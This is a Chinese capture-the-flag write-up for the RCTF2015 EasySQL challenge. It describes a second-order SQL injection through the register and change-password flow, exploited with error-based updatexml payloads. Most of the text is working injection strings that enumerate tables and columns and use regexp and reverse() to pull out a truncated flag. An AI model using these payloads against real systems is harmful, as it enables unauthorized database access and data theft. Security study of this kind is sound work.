[RCTF2015]EasySQL

参考peri0d师傅的文章

初始页面存在一个注册界面和一个登入的界面

 注册一个新用户,登入进去可以修改密码,应该是二次注入

注册的时候发现了一些词被过滤掉了,fuzz了一下,过滤了部分字符

当注册用户为 admin“ 进行修改密码时存在报错

 

可以推出后台的sql语句为

update users set password='xxxx' where username="xxxx" and pwd='202cb962ac59075b964b07152d234b70'

因为存在报错回显,那么就可以直接用报错注入

获取表名

test"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1)#

 获取列名

test"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1)#

 得到了一个假的flag

test"^updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag))),1)#

 真正的flag在users表中

但是要输出数据的时候提示没有存在该列,可以推测该列没有被完全输出

 可以用regexp正则来匹配

test"^updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))),1)#

找到真正的保存flag的列,直接获取数据

test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users))),1)#

得到了xxx,xxx,同样用正则来匹配flag

test"^updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#

 打印出了前面的flag,后面还没显示出来,可以用reverse逆序输出flag

test"^updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1)#

 得到逆序后的后部分flag,用python 的切片步长为-1得到正向的flag,然后拼接即可

 

猜你喜欢

转载自www.cnblogs.com/gaonuoqi/p/12621382.html